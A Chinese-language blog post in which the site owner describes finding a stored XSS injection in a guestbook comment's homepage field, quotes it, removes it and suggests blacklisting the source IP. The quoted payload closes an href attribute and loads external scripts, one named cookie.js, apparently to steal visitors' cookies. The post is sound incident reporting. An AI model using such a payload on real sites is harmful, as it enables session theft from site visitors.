Loading... 今天浏览自己博客的时候无意中发现留言板有显示错误,如下图所示,可以看到右边的sidebar严重飘逸,并且在评论排行榜中有嵌套,文章主题也不在中间的位置。F12开发者工具检查发现这里多出了很多不应该存在的结构: <img src="https://cloud.nailoy.com/typecho/uploads/2024/02/788533690.png" width=60%> <img src="https://pan.4everpix.top/typecho/uploads/2024/02/128022546.png" width=60%> --- 经过排查发现是其中一个评论导致的: <img src="https://cloud.nailoy.com/typecho/uploads/2024/02/3320636901.png" width=60%> --- 其个人主页填写内容如下: `http://xxx.xxx.com/"></a>[script/src="https://xss.jnhrich.com/myjs/cookie.js"](script/src=%22https://xss.jnhrich.com/myjs/cookie.js%22)</script>[script/src=https://jackmi.jnhrich.com/jquery.js](script/src=https://jackmi.jnhrich.com/jquery.js)</script><a/href="#` 经过分析应该是XSS注入,删除评论即可恢复。 --- **建议给此IP加入黑名单:**`192.151.220.170` <img src="https://cloud.nailoy.com/typecho/uploads/2024/02/2677947573.png" alt="攻击者的IP地址" style=""> --- 恢复后留言板的样子 <img src="https://cloud.nailoy.com/typecho/uploads/2024/02/2895927635.png" width=60%> 最后修改:2024 年 12 月 28 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 你的支持是我最大的动力
2 条评论
并没有彻底解决 建议加个waf
用的是宝塔里的Nginx免费防火墙